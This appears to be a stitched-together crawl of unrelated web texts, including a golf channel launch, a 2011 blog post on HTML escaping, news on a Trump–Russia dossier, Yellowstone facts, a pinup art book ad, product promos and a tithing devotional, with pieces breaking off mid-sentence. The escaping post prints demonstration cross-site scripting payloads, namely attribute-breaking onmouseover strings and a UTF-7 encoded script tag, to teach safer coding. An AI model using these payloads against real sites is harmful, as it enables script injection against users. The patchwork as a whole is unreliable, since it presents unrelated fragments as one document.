Back9Network, which pitches itself as a "lifestyle network as much as a sports channel," hopes to launch this spring. The would-be channel says Hole Lotta Love will involve golfing bachelors and bachelorettes winning dream dates while Beer Cart Girl is a comedy about delivering beers on-course until "hilarity ensues." Other shows being hyped by Back9Network include comedian JackieFlynn taking his "wise-guy attitude to the fanciest golf courses in the world" and Extreme Golf with action played from the top or buildings or in deserts.
Eastwood, 81, who will also be a "founding shareholder" of Back9Network, will advise the network on things like casting. He's known Back9Network CEO JamesBosworth since Bosworth was an assistant golf pro at the famed Pebble Beach golf course, in which Eastwood is an investor.There's more to HTML escaping than &, <, >, and " Saturday April 23, 2011 This is an ancient blog post that was written many years ago. It's archived here as a historical curiosity and is likely to contain bad ideas and broken links. Please don't assume that anything here is still accurate or represents my current opinions.
A few days ago I tweeted:
If I had a dollar for every HTML escaper that only escapes &, <, >, and ", I'd have $0. Because my account would've been pwned via XSS."
This was exaggeration for effect—there aren’t many cases where a simple XSS injection could actually empty a bank account—but I wanted to make a point.
By some coincidence, I’ve found myself working with various open source projects recently that take a half-assed approach to HTML escaping. It’s something that tends to be implemented as an afterthought, which is unfortunate because it can be critical for the security of users of these projects. I won’t name any names in this post (pull requests are forthcoming), but I will explain some of the common problems I’ve seen, why they’re problems, and what can be done to fix them.
This post is not an introduction to HTML escaping. It assumes that you already know what HTML escaping is and why it’s necessary. This post also is not a comprehensive catalog of XSS vectors; the examples here are illustrative, but they certainly aren’t the only attacks you need to worry about. The intent of this post is to explain some dangers that you may not be aware of, and to encourage you to read more about them and write safer code.
Note that this post only discusses escaping, which is something entirely different (and far less complicated) than sanitizing. HTML sanitization is a topic for another time.
Escaping < and > isn’t enough
The worst HTML escaper I’ve seen in a major open source project only escapes the < and > characters. This may actually be worse than not escaping anything at all, since it gives the illusion of security, but is trivial to defeat.
For example, let’s say I have the following template, and I’m going to replace the placeholder values, indicated in [square brackets], with HTML-escaped user input:
<a href="/user/[username]">[username]</a>
The attacker enters foo" onmouseover="alert(1) as their username. End result, even after escaping:
<a href="/user/foo" onmouseover="alert(1)">foo" onmouseover="alert(1)</a>
Because the " character wasn’t escaped and the attacker’s input was used in an attribute value, the attacker was able to inject arbitrary attributes and therefore JavaScript (which, in a real XSS attack, would probably be something more harmful than an alert).
This is a classic example of making input safer in one context—in this case, as the content of an <a> element—without considering the other contexts in which it’s likely to be used, such as inside an attribute value.
Escaping &, <, >, and " isn’t enough
The characters &, <, >, and " are the ones most commonly targeted by HTML escaper implementations. This seems to be the minimum set of characters that people think need to be escaped. Unfortunately, it’s still not safe if you don’t have complete control over where the escaped values will be used.
Consider the following template, in which the template author has used single-quoted attribute values:
<a href='/user/[username]'>[username]</a>
This is exploitable using the same attack as the previous example, but with single quotes instead of double quotes: foo' onmouseover='alert(1) :
<a href='/user/foo' onmouseover='alert(1)'>foo' onmouseover='alert(1)</a>
You may be saying, “But I always use double quotes to quote attribute values!” Are you also the only person who will ever use your HTML escaper? And are you immune to typos?
Escaping &, <, >, ", and'isn't enough
This is the character set used by PHP’s ubiquitous htmlspecialchars function, and as you may have guessed, it still falls down on attribute values for two reasons.
First, as Hacker News users DanBlake and nbpoole pointed out in a discussion of this blog post, Internet Explorer treats ` as an attribute delimiter. It may be an edge case, but it’s still a potential attack vector, so ` needs to be escaped too.
Second, HTML also allows attribute values to be completely unquoted. Believe it or not, unquoted attribute values are fairly popular (some people are too lazy to quote them, others are performance zealots who can’t bear the thought of wasting those extra bytes).
Unquoted attribute values are one of the single biggest XSS vectors there is. If you don’t quote your attribute values, you’re essentially leaving the door wide open for naughty people to inject naughty things into your HTML. Very few escaper implementations cover all the edge cases necessary to prevent unquoted attribute values from becoming XSS vectors.
Escaping &, <, >, ", ', `,,!, @, $, %, (, ), =, +, {, }, [, and ] is almost enough
All those characters up there (including the space character!) can be used to break out of an unquoted HTML attribute value. If you escape every last one of them, then you’re probably pretty close to being safe. But you’re still not so safe that you can just start throwing around user input willy nilly.
Why? Because this still doesn’t cover some context-specific cases like inserting user input into the body of an inline <script> element or using user input as part of a URL.
Context is key
If you haven’t figured it out already, the primary message I’m trying to convey here is that you must be aware of the context in which you’re working with user input. Some contexts are more susceptible to attack than others, and there’s no single magic escaping bullet that will protect you or your users in all cases.
In other words, you don’t need to escape everything all the time, but you do need to escape everything that’s important in the particular contexts in which you’re displaying user input.
But there’s still one more wrench to throw into the works…
Always specify a charset, or UTF -7 will eat your face
Even if you do everything else right, serving a page that doesn’t explicitly specify a character set can leave Internet Explorer users open to XSS, thanks to the way IE sniffs out the charset when it isn’t specified.
If an attacker is able to get your page to echo back something that looks like UTF-7 encoding early enough in the page, he may be able to trick IE into rendering the page using UTF-7. This could turn the following seemingly harmless input…
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
…into something potentially harmful:
<script>alert(1)</script>
I recommend specifying a UTF-8 charset in both the Content-Type HTTP response header and a <meta> tag, since it’s easy for one or the other to get switched off or omitted inadvertently as a codebase ages (this has happened to me).
Further reading
As I mentioned in the disclaimer at the top of this post, this is not a comprehensive reference of all the things that can go wrong with HTML escaping. It’s not even a guide. It’s more of a tip-of-the-iceberg preview. Please don’t assume that, having read this post, you now know everything there is to know about HTML escaping. I can guarantee that you don’t, because I don’t.
I learned a lot from the following sources, and I highly recommend them if you’re interested in learning more:Update: The section of Dobert’s LinkedIn profile that mentioned BattleCry’s cancellation has since been removed and replaced with a reworded version that omits the game. You can still view the pre-updated version below.
Original Story: It seems like BattleCry Studios’ first and titular game, BattleCry, has been cancelled.
According to the LinkedIn profile of one Embedded QA Designer at BattleCry Studios, the free-to-play multiplayer game is officially no more.
Dobert’s profile states that he started working for the studio as a senior embedded QA analyst for “the now cancelled game Battlecry” before moving onto DOOM’s Unto the Evil DLC. This news would come as no surprise to most, as we’ve heard nothing about the game since mid-2015.
Last year, we reported on the game’s disappearance and radio-silence from the studio on the subject. At that time, the game’s website hadn’t been updated in almost a year and was still sporting a signup page for a BattleCry beta that was supposed to happen months prior.
Today, the game’s website, as well as its Twitter account, are completely gone.
It’s hard to tell exactly when the game’s website went down, but internet archives reveal it was still online as early as October of last year. The last sighting of a functioning Twitter account for the game was in September.
As mentioned in our previous story, BattleCry Studios is working on a new FPS, but details from the studios’ new job openings reveal that the game is likely coming to PS4 and Xbox One. Check out the postings below.
Assuming this is true, this dispels the assumption that their unannounced project actually refers to development on Quake Champions, which is currently a PC exclusive project.
We reached out to Bethesda this past Friday for a comment on BattleCry’s status, but have yet to receive anything back. We’ll update the story if we hear anything new.
MORE NEWSA former senior intelligence officer for a Western country who specialized in Russian counterintelligence provided the FBI with information he says shows the Russian government has spent years trying to influence Donald Trump Donald John TrumpREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails Trump urges North Korea to denuclearize ahead of summit Venezuela's Maduro says he fears 'bad' people around Trump MORE.
In June, the officer, who now works for a U.S. firm gathering information on Russia for corporate clients, was told to research the Republican presidential nominee's dealings in Russia, Mother Jones reported Monday night.
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"It started off as a fairly general inquiry," the ex-spy said.
As he searched, he says he found “an established exchange of information between the Trump campaign and the Kremlin of mutual benefit."
Citing it as an “extraordinary situation,” the ex-intelligence officer sent a copy of his report to the FBI.
In it, he charged that Russian intelligence had "compromised" Trump and could "blackmail him” and that it had a file on Hillary Clinton Hillary Diane Rodham ClintonREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails County GOP in Minnesota shares image comparing Sanders to Hitler Holder: 'Time to make the Electoral College a vestige of the past' MORE compiled from "bugged conversations she had on various visits to Russia and intercepted phone calls."
He said FBI officials greeted his July memo with “shock and horror” but did not request additional information.
The FBI then asked him for more memos in August, he added, prompting him to submit dossiers on members of Trump’s inner circle with ties to Russia.
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“It’s quite clear there was or is a pretty substantial inquiry going on,” he said of the FBI’s examination of Trump’s links to Moscow.
“This is something of huge significance, way above party politics,” the former spy added. “I think [Trump’s] own party should be aware of this stuff as well.”
Mother Jones said the ex-spy spent almost two decades on Russian intelligence matters and now works with a U.S. firm that gathers information on Russia for corporate clients.
The former intelligence official began researching Trump earlier this year, it said, as part of an opposition research project funded by a Republican client critical of the billionaire.
Mother Jones added that the project’s funding switched to Democratic supporters before the anonymous source discovered troubling connections between Russia and Trump.
“There was an established exchange of information between the Trump campaign and the Kremlin of mutual benefit,” he said, according to Russian sources he contacted while researching Trump.
Trump has repeatedly weathered criticism from Democrats and other Republicans over his sometimes warm tone toward Russian President Vladimir Putin.
Senate Minority Leader Harry Reid Harry Mason ReidSenate confirms Trump court pick despite missing two 'blue slips' Can Lindsey Graham take the politics out of judicial battles? Bottom Line MORE (D-Nev.) alleged over that the FBI has “explosive information” about ties between Trump and the Russian government.
Reid declined to divulge additional details about the information or to clarify how federal officials discovered it during his Oct. 30 letter to FBI Director James Comey.
Meanwhile, a Slate report published Monday evening alleged a connection between a server registered to the Trump organization to two Russian servers registered to "Alfa Bank."
And NBC News reported earlier in the evening that the FBI is looking into former Trump campaign manager Paul Manafort’s foreign business dealings.
However, The New York Times reported late Monday that FBI officials’s investigations have yet to confirm any ties between Trump and Russia.1. Yellowstone is bigger than two U.S. states.
Yellowstone Falls, Yellowstone National Park, Montana (MT). (Credit: dszc/Getty Images)
At 3,472 square miles—over 2.2 million acres—Yellowstone is larger than the states of Rhode Island and Delaware combined. The vast majority of its territory is situated in Wyoming, but it also creeps into neighboring Montana and Idaho. Though not the largest of the United States’ national parks, it is noteworthy for its dense concentration of geysers, mudpots, steam vents and hot springs. According to UNESCO, which has designated Yellowstone a World Heritage Site, half of all the known geothermal features on the globe are nestled within the park.
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2. A veteran of the Lewis and Clark expedition may have been the first American to see Yellowstone.
The Grand Prismatic Springs in Yellowstone National Park. (Photo Credit: Lisa Dupenois)
While there is evidence of human habitation in Yellowstone dating back more than 10,000 years, its geographical wonders were completely unknown to Americans until the 19th century. The site’s first non-Indian visitor was most likely John Colter, a former member of Lewis and Clark’s Corps of Discovery expedition who had embarked on a career as a fur trapper and mountain man. In the winter of 1807-08, he made a solo journey into the Yellowstone region and supposedly returned with stories of its canyons, waterfalls and gurgling hot springs. A nearby area even became known as “Colter’s Hell” after his seemingly unbelievable descriptions of its geothermal activity. While historians still debate the extent of Colter’s travels, many now believe he was the first white man to lay eyes on what later became Yellowstone National Park.
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3. One of Yellowstone’s earliest explorers was stranded there for 37 days.
Coolidge was one of many presidents who valued the National Parks.
Miners and fur trappers occasionally ventured into Yellowstone in the years after John Colter’s visit, but the first organized surveys didn’t begin until the late 19th century. During one of these excursions in 1870, a Montana bureaucrat named Truman Everts became separated from his party and was eventually given up for dead. After losing his horse and most of his supplies, the 54-year-old spent over a month surviving on thistle and enduring snowstorms, delirium and a painful scalding from a hot spring. By the time he was finally found alive in October 1870, he weighed just 90 pounds and was suffering from frostbite so severe that it had worn his feet to the bone. Everts’ rescuers described him as looking like “nothing but a shadow,” but he eventually recovered and even wrote an account of his ordeal titled “Thirty-Seven Days of Peril.” His amazing tale of survival has since been credited with helping publicize the movement to make Yellowstone a national park.
4. The park sits atop the largest supervolcano in North America.
The pools steam and bubble of the supervolcano in Yellowstone National Park, Wyoming, United States. (Credit: Russell Pearson/Barcroft Images/Getty Images)
Early accounts of Yellowstone’s geysers, hot springs and fumaroles were often dismissed as frontier legends, but scientists now know that they are the result of a “supervolcano” located beneath the park. The system is still considered active and contains a reservoir of magma big enough fill the Grand Canyon several times over. While scientists are not concerned about an eruption occurring any time soon—the last was some 640,000 years ago—the volcano is powerful enough to potentially shroud much of the continental United States in ash.
5. A painter played a crucial role in Yellowstone’s creation.
Yellowstone Lake painting by Thomas Moran. (Credit: Library of Congress)
A key chapter in Yellowstone’s development came in the summer of 1871, when geologist Ferdinand Hayden led the first federally funded expedition to the region. Along with botanists and zoologists, Hayden’s team also included a photographer and a young artist named Thomas Moran, who produced more than 30 sketches and watercolors of Yellowstone’s cliffs, geysers and rivers. Combined with the photographs, Moran’s artworks offered Americans their first glimpse of the area’s natural beauty. When the paintings were later exhibited in Congress, they helped win many politicians over to the idea of making Yellowstone a “national playground.” On February 27, 1871, the House of Representatives voted 115 to 65 in favor setting the region aside as America’s first national park. President Ulysses S. Grant signed the bill into law just two days later.
6. Yellowstone was originally nicknamed “Wonderland.”
Yellowstone’s remote location ensure that it only received a couple thousand visitors during its first several years as a national park, but tourism later exploded following the 1883 completion of the Northern Pacific Railroad. Capitalizing on the popularity of Lewis Carroll’s book “Alice’s Adventures in Wonderland,” the Northern Pacific launched an ad campaign that presented the park as America’s “New Wonderland.” One 1885 pamphlet even included a fictional endorsement from Alice herself, who offered breathless descriptions of Yellowstone’s geography. “The Park, let me tell you, is an extensive area literally crowded with natural curiosities of the most wonderful character,” the character gushed. “Tell me, is this not Wonderland?”
7. The U.S. Army ran the park for over 30 years.
Cavalry troop performing drills at Yellowstone. (Creidt: B.L. Singley/Library of Congress/Getty Images)
During its early years, Yellowstone suffered due to meager government funding and a series of ineffective superintendents. Tourists vandalized the park’s geysers and rock formations, and poachers and private interests hunted its wild game and harvested its timber. The damage was only slowed in 1886, when a U.S. Army cavalry company was dispatched to administer Yellowstone and stand guard over its natural treasures. The troops immediately went to work expelling squatters, rounding up poachers and enforcing regulations, and by 1894 their successes had encouraged Congress to pass a new law protecting the park’s wildlife. Army forces would remain the wardens of Yellowstone until 1918, when they handed the reigns to the newly created National Parks Service.
8. Yellowstone includes the nation’s oldest herd of bison.
Bison an heisser Quelle, Yellowstone Nationalpark, Wyoming. (Credit: Konrad Wothe/Getty Images)
According to the National Park Service, Yellowstone is the only place in the United States where buffalo have continuously roamed since the prehistoric era. The park’s herd dwindled to just 23 animals during the late 19th century, when overhunting helped drive the bison to the brink of extinction, but the population later bounced back thanks to more effective stewardship and protection. The roughly 5,500 bison that live in Yellowstone today constitute the nation’s largest and oldest free-range herd.
9. The park once featured a “bear lunch counter.”
In the early days of National Park Service management in Yellowstone, bears would be fed at at garbage dumps. (Credit: National Park Service)
For much of its history, Yellowstone had open-air garbage dumps on park grounds. The trash heaps may have been an eyesore, but since they attracted scavenging animals, they also became a popular location for catching black bears and grizzlies in the midst of a feeding frenzy. In the 1920s and 30s, park operators even installed bleachers for tourists and posted signs over the trash pits that read “Lunch Counter—For Bears Only.” The dumps were eventually closed to the public during World War II, but not before several tourists had been injured in bear attacks.
10. Old Faithful is not as faithful as it once was.
Most popular geyser in the world, the Old Faithful geyser in the Yellowstone National Park. USA. (Credit: SunChan/Getty Images)
Of all of Yellowstone’s geysers, none is more iconic than “Old Faithful,” which is capable of spewing water 180 feet into the air. The geyser first earned its name in 1870, when a group of early explorers noted that it erupted roughly once every 60 minutes. Early park promoters even advertised Old Faithful as erupting “every hour on the hour,” but decades of earthquakes—including one in 1959 that measured 7.5 on the Richter scale—have since altered its network of underground fissures and caused it to slow down. These days, the gusher often takes breaks as long as 90 minutes between eruptions.British scientists have answered the question about which direction the centre of our planet spins. The inner core, made up of solid iron, superrotates in an eastward direction – meaning it spins faster than the rest of the planet – while the outer core, comprising mainly molten iron, spins westwards at a slower pace.
Although Edmund Halley showed the westward-drifting motion of the Earth’s geomagnetic field in 1692, it is the first time that scientists have been able to link the way the inner core spins to the behavior of the outer core. The planet behaves in this way because it is responding to the Earth’s geomagnetic field.
In the last few decades, seismometers measuring earthquakes traveling through the Earth’s core have identified an eastwards, or superrotation of the solid inner core, relative to Earth’s surface.
“The link is simply explained in terms of equal and opposite action. The magnetic field pushes eastwards on the inner core, causing it to spin faster than the Earth, but it also pushes in the opposite direction in the liquid outer core, which creates a westward motion,” said Dr Philip Livermore from the University of Leeds, who is a lead author of a study published in the Proceedings of the National Academy of Sciences.
The solid iron inner core is about the size of the Moon. It is surrounded by the liquid outer core, an iron alloy, whose convection-driven movement generates the geomagnetic field.
The fact that the Earth’s internal magnetic field changes slowly, over a timescale of decades, means that the electromagnetic force responsible for pushing the inner and outer cores will itself change over time.
Other previous research based on archeological artifacts and rocks, with ages of hundreds to thousands of years, suggests that the drift direction has not always been westwards: some periods of eastwards motion may have occurred in the last 3,000 years.
Viewed within the conclusions of the new model, this suggests that the inner core may have undergone a westwards rotation in such periods.
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Bibliographic information: Philip W. Livermore et al. Electromagnetically driven westward drift and inner-core superrotation in Earth’s core. PNAS, published online September 16, 2013; doi: 10.1073/pnas.1307825110ADVERTISEMENT
Matthew Inman, proprietor of web comic The Oatmeal, is on a mission to build a crowd-funded museum dedicated to inventor Nikola Tesla, who Inman refers to as "the greatest geek who ever lived." Inman's goal was to raise $850,000 (which would be matched dollar-for-dollar by a New York state grant) in 45 days. But surprisingly, a little more than a week into it, the online campaign has gathered more than $1.1 million in donations. Many of the inventor's fans think Tesla was more brilliant than his more famous contemporaries, including Alexander Graham Bell and Thomas Edison. Even though Tesla |
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So I Met Shawn Mendes and saw him live thanks to winning the pop flash competition on Facebook! I honestly had a unreal experience! If you ever get the chance go see Shawn live you must do it! He absolutely smashed it! Also check out Emma's channel to see her experience https://m.youtube.com/user/lilmisssemm ------------------ Here's All My Social Media! www.youtube.com/c/jackinthevlogs I've started using my facebook page again https://www.facebook.com/Jackinthevlogs/ Follow me on twitter http://twitter.com/jackinthevlogs Also follow me on instagram http://instagram.com/jackinthevlogs If you have snapchat add me Jacksview for any inquires email me at jjackinthevlogs@gmail.com follow my playlist on Spotify https://open.spotify.com/user/jackinthevlogs/playlist/0Mc7FOJgiqAgiUWTyI8g0C -------------------- Music By ------------------ Edited on Adobe Premiere Pro CC 2015 filmed on Canon IXUS 275 HS Compact Digital Camera, Canon 700d
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98" NOW ON SALE!!My Little Sweetheart is a collaborative effort among some of the fandoms talented artists to bring you your favorite ponies re-imagined as sexy humans!Names include those of John Joseco, thelivingmachine02, KevinSano, Emlan, eryhel, slugbox, Carnifex, MegaSweet, and many more! For the full artist list just check out [link] The art book features 50 pinups of your favorite main cast ponies and background characters, each stunningly rendered and waiting just for you to take them home!For only $25 on lulu.com, you will be doing your part to donate all the profits to charity.ORDER TODAY!!!"Yeah it went on sale last Friday. It started out as a calender and not it's an art book. If you're a fan of sexy women and MLP humanizations, this is for you.This piece was the front cover of it. Inside, I also drew a Dash and Luna.It was a simple combination – two Arnold Fans, a 19 inch TV, a VCR (that’s right, a VCR) and the greatest pizza/beer establishment in Orlando, nay the world. Throughout the day, customers (and employees) came and went as these two warriors watched Arnold one-line the hell out of some movies. By the end of the day, a good seven films were viewed. At an average of two liters per film, it’s a wonder any memories of Arnold Day l exist.
So began a tradition. Each year, on the weekend of Arnold Schwarzenegger’s birthday, a celebration is held. Lazy Moon’s gracious proprietors joined the cause the following year – making Arnold Day a staple in the Orlando area.
Today, Arnold Day is practically a holiday in the Central Florida community. Hundreds of people travel tens of miles to partake in this day long celebration. Banks close early, schools shut down and corporations seize to operate. Even the Terminator himself attended the last two years. Don’t believe me? Just check out our Gallery. Arnold Day honors one of the most impressive human beings to ever roam this great earth. So come join us and show your appreciation. You owe it to the Governator. We all do.Fat Music For Wrecked People: Groez Cruise 2016!
Some call today Good Friday, but today we’re calling it Groez Friday! That’s right, this year marks Groezrock’s 25th anniversary and we’re charting a course for Meerhout, Belgium on April 29th and 30th to celebrate! So hop aboard the Groez Cruise and swing by the Fat Wreck Chords ship to pick up our 2nd exclusive Groezrock 10” comp Fat Music For Wrecked People: Groez Cruise 2016! The artwork is by Horsebites who creates all our Fest 10” comps. The comp itself will have a boatload of new and unreleased songs including one from an unannounced signing! Who could it be?! We’ll also have some exclusive merch and other treasured items from our San Francisco mothership to keep you afloat.
In addition to our store being there, tons of past and present Fat Wreck Chords bands will be taking the stage: Me First and the Gimme Gimmes, face to face, Mad Caddies, Sick Of It All, Less Than Jake, Dillinger Four, Night Birds, Bad Cop/Bad Cop, PEARS Rancid and The Dirty Nil! It’s like a Fat Wrecked For 25 Years show Groezrock style!
We love Belgium and nothing is going to keep us away.Made from 600D Polyester with PVC Coating (Multicam made from 500D Nylon)
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The LA Police Gear 3 Day Backpack 2.0 takes everything you loved from our original 3 Day Backpack and improves on the design by adding new, exciting features.Just like the original, the 2.0 has tons of room for your gear, and is MOLLE compatible in case you need to strap on external pouches. The shoulder straps make carrying heavier loads a breeze and the overall design and straps help distribute all of the weight evenly, while the new yoke system makes carrying the pack more comfortable than ever. Also new to the pack is a mesh padded back that will enhance comfort and breathability. The inside of the pack is lined with loop so you can attach all our pouches or other hooked back items for greater organization.Last but definitely not least, we have added a new feature to the straps of the Atlas line that allows you to buckle in our LAPG Tactical Chest Pack Attachment directly to the backpack. The Chest Pack is a versatile carrying system that basically gives the storage of another backpack. Great for CCW, small items, or anything you can think of!US consumers keeps on purchasing Kindles on credit cards which they apparently have no intention of every paying off. The most recent Fitch report disclosed that October delinquencies have continued their steady climb, and together with charge-offs, are at near record highs: "Consumer credit quality remains under significant strain as a result of the persistent weakness in the labor markets," noted managing director Michael Dean. The Labor Department will report unemployment data Friday; the jobless rate is expected to hold steady at 10.2%, the highest level in decades, while the decline in payrolls is seen mitigating from the previous month.
Dow Jones reports:
All types of consumer lending have worsened the past several years, with borrowers falling increasingly behind and lenders writing off many billions of dollars of owed loans. Fitch's credit-card performance indexes show late payments rising to their highest levels in five months and indicate higher charge-offs in the months to come. Fitch's index on delinquencies of at least 60 days rose to 4.41% from 4.22% in September. Late-stage delinquencies are now 31% higher than year-earlier levels and just below the record high of 4.45% in June. Delinquencies of at least 30 days rose as well.
As Zero Hedge pointed out, and as Meredith Whitney has voiced her concernes about, the biggest threat to the economic going into 2010 may be that not only are banks dropping reducing overall credit availability, but that ongoing credit contraction to the tune of almost $2 trillion over the next several years will mean existing credit limits are tapped out as existing ones become increasingly maxed out.
This will likely further entrench the consumer into an accelerated deleveraging mindset, and no matter what the incremental liquidity from the Fed is, the deflationary pressures will likely continue. Which means that markets will continue in full melt-up mode to compensate for real economic losses, which benefit exlusively the top percentile of the US population as the middle and lower classes continue experiencing the brunt of the credit contraction. At some point the economic reality is sure to catch up with the market surreality. That will be the point when all the flawed market policies by the Administration and Bernanke become exposed for the clothesless emperors they are.Meteorologists are starting to see signs of an impending Polar Vortex sequel that could send the country plunging into a deep freeze.
If you miss the frigid weather from the beginning of January and the fun we had, with the peeing and the supersoakers and the injuries, then you're in luck. Because the Polar Vortex is back. According to the Washington Post's Wes Junker, starting around Tuesday, January 21, and continuing through the end of the month, the weather tea leaves point towards another shot of arctic air creeping down to the U.S. through Canada and engulfing the country in cold.
Currently a weakened Polar Vortex is sitting still over the Hudson Bay, just above Quebec, minding its own business and causing some mild snowstorms. But the Vortex will start moving south at the beginning of next week, and a combination of air systems will create the kind of cold air that bothered much of the U.S. at the beginning of January. Accuweather's Alex Sosnowski explains:
However, during the third and fourth weeks of January, some changes will take place. The high amplitude pattern is forecast to get more extreme. The polar vortex will move farther south and get stronger. The pattern will gradually change the current mixture of Pacific and Arctic air in the Canada Prairies and the North Central U.S. to all Arctic air. The air will get significantly colder over the Canada Prairies and the much of the eastern half of the nation as a result.
If the early forecasts are right the sequel will be even worse, just like at the movies. "Temperatures may get colder than they were during the initial polar vortex event," writes The Houston Chronicle's Alex Sosnowski. These frigid temperatures are not a sure thing just yet. Predicting the weather is not a perfect science, especially when guessing so far away. But we know that Tuesday will be very, very cold, and all of the patterns point towards another Polar Vortex-type deep freeze.
We still don't know how far south the Vortex will travel. For now, most expect the Vortex to affect the Midwest and Northeast.On 6 August 1945, the US attacked the Japanese city of Hiroshima with an atomic bomb in a bid to end the second world war. Seventy years after the devastating power of nuclear weapons was first demonstrated, nine states retain them in their arsenals
The Manhattan Project
US atomic weapons research began after nuclear fission was discovered by German scientists in 1938, prompting fears of a Nazi bomb. After Japan attacked Pearl Harbor in 1941, work centred on the Manhattan Project, led by Robert Oppenheimer at Los Alamos in New Mexico. Germany had already surrendered when the first nuclear weapon test took place on 16 July 1945, but war in the Pacific continued.
The attacks
After the successful test US president Harry Truman authorised the use of two weapons against Japan, arguing it would be a quicker and less bloody way to secure surrender than an invasion. There was no capitulation after the first bomb, codenamed Little Boy, destroyed more than 10 sq km of Hiroshima on 6 August 1945. Three days later the more powerful Fat Man device hit Nagasaki.
The casualties
Estimates of people killed in the immediate aftermath of the two bombings and the months that followed range as high as 246,000. Many of the survivors suffered horrific burns and the enduring effects of radiation illnesses. With more attacks planned by the US, Japan surrendered on 15 August.
Cold war follows world war
The USSR, which had spies in the Manhattan project, tested its first nuclear bomb in 1949. Increasingly powerful thermonuclear devices were tested in remote parts of the world, culminating with the Soviet Tsar Bomba which produced an explosion visible 1,000 kilometres away and a mushroom cloud taller than Everest.
Mutually assured destruction
Throughout the 1960s, the superpowers developed huge arsenals. According to the doctrine of mutually assured destruction (MAD), this made nuclear war unlikely as neither side could ever completely destroy the other’s ability to retaliate. The 1970 non-proliferation treaty was designed to restrict the capability to the existing nuclear powers, but other states were already pursuing their own programs.
Disarmament and proliferation
The collapse of the Soviet Union in 1991 removed the cold war’s uneasy certainty. There are now nine known nuclear powers, chief among them the US and Russia, which retain formidable stockpiles even after substantial disarmament. Only South Africa has ever independently developed and then relinquished nuclear weapons. Ukraine surrendered its Soviet weapons in 1994 in exchange for a guarantee of its territorial integrity.
The doomsday clock
Since 1947, the Bulletin of the Atomic Scientists has been publishing a yearly assessment of the risk of global catastrophe in the form of a clock counting down to midnight. In 2015, with climate change now included as a risk, it stands at three minutes to midnight, as existing powers upgrade their arsenals. Ongoing risks to humanity include further proliferation, a nuclear terrorist attack and the problem of radioactive waste.A megaphone-wielding student interrupted a conference on racism to attack Iowa State President Steven Leath for “putting [student] safety at risk” and being “racist.”
During Leath’s speech at the 2017 Iowa State Conference on Race Ethnicity, a pink-haired student stood up and ranted into the megaphone about her many qualms with Leath before staging a walkout with 40-50 other students, reports KURE.
“I am tired of mine and my peer’s trauma being used as a tool of learning for white educators on this campus.”
[RELATED: ‘Trigglypuff’ disrupts free speech event at UMass Amherst]
The student addressed Leath’s ties to Donald Trump and Mike Pence, alleged issues with diversity on campus, and possible illegal misuse of a university airplane in a speech that was caught on video.
“I am tired of mine and my peer’s trauma being used as a tool of learning for white educators on this campus,” the student began while some members of the audience snapped their fingers in approval. “Your refusal to condemn white supremacist propaganda on this campus is an act of violence.”
[RELATED: UNO prof to speak against ‘white supremacist’ Trump ‘regime’]
The student also complained that Leath has not spoken in support of “trans” and “nonbinary students,” as well as students affected by Trump’s travel ban, ultimately accusing him of being “complicit in a system that profits” off of racism, homophobia, and transphobia.
“By allowing Donald Trump on this campus and refusing to shut down white supremacy you have put our safety at risk,” the student said. “You hang out and spend our time and spend our tax money with racists, and you sir, are a racist.”
Leath and workers at the conference allowed the student to finish her rant, wherein she asked audience members to leave the conference until Leath was finished speaking.
Approximately 40-50 students walked out with the student and returned to the conference when Leath finished his speech.
Follow the author of this article on Twitter: @amber_atheyYears ago, a grandson of Howard W. Hunter, then of the Quorum of the Twelve Apostles and later President of the Church, attended tithing settlement with his father.
“The bishop indicated his pleasure in the young lad’s wanting to pay a full tithing and asked him if he thought the gospel was true. This 7-year-old boy, having paid a full tithe of fourteen cents, said he guessed the gospel was true, ‘but it sure costs a lot of money’ ” (from an address by Elder David B. Haight of the Quorum of the Twelve Apostles, April 1981 general conference).
The Lord requires one-tenth of what we earn. In the conference address referenced above, Elder Haight directed members to pay their tithing monthly “as you are paid. Never be in debt to the Lord. Spiritual and temporal blessings will be yours as you carefully honor this commandment.”
We hear talks, and perhaps have given a few ourselves, about the blessings that come from obeying the law of tithing. However, we should take care lest we convey unintended messages. Blessings from God don’t always come immediately — or in the form we expect.
President Thomas S. Monson said, “The honest payment of tithing provides a person the inner strength and commitment to comply with the other commandments.”
He quoted Malachi 3:10, in which the Lord promises to “pour out a blessing that there shall not be room enough to receive it.”
President Monson added, “All of us can afford to pay tithing. In reality, none of us can afford not to pay tithing. The Lord will strengthen our resolve. He will open a way to comply” (October 1996 general conference).
An example of a faithful payer of tithes is Mary Fielding Smith, widow of Hyrum Smith and mother of Joseph F. Smith, the sixth president of the Church, who took the best of her potato crop to the tithing office in Salt Lake City. Knowing of her poverty, a tithing clerk suggested that she not contribute a tenth of her crop. She responded, “You ought to be ashamed of yourself. Would you deny me a blessing? I pay my tithing, not only because it is a law of God, but because I expect a blessing by doing it” (related by President Joseph F. Smith, April 1900 general conference).
As we study the scriptures, we can see the difference between merely living the letter of the law and abiding by the spirit of the law.
As a member of the Quorum of the Twelve Apostles, Elder Hunter said, “The principle of tithing should be more than a mathematical, mechanical compliance with the law. The Lord condemned the Pharisees for mechanically tithing herbs without coming into the circumference of spirituality. If we pay our tithes because of our love for the Lord, in complete freedom and faith, we narrow our distance from Him and our relationship to Him becomes intimate. We are released from the bondage of legalism, and we are touched by the Spirit and feel a oneness with God” (April 1964 Conference Report).
Obedience to the divine law of tithing is a measure of faith, not wealth. For the most part, it has little to do with money.
We sometimes hear of people for whom keeping the law of tithing has been a trial of faith. One account centers on a husband and wife from Germany who immigrated to Canada and eventually made their way to Texas where they learned of the gospel of Jesus Christ and joined the Church. They committed themselves to keeping all of the Lord’s commandments, but they faced a challenge when it came to paying tithing.
“The first mention of tithing shocked me,” said the husband. “I didn’t make much money, but I made up my mind that the Lord would take care of us if we would keep His commandments.”
His wife said, “I remember sitting on the bed, because that was the only furniture we had to sit on, and counting pennies to buy groceries. I couldn’t see why we had to give 10 percent to the Lord when we had so little money in the beginning. But [my husband] said to do it, and to have faith.”
The couple exercised faith and paid an honest tithing. Years later, they testified that they had been blessed (Church News, Aug. 3, 1974).
President Gordon B. Hinckley explained the reason for paying tithing: “The basic purpose for tithing is to provide the Church with the means needed to carry on [the Lord’s] work. The blessing to the giver is an ancillary return, and that blessing may not always be in the form of financial and material benefit. There are many ways in which the Lord can bless us beyond the riches of the world” (April 1982 general conference; Ensign, May 1982).
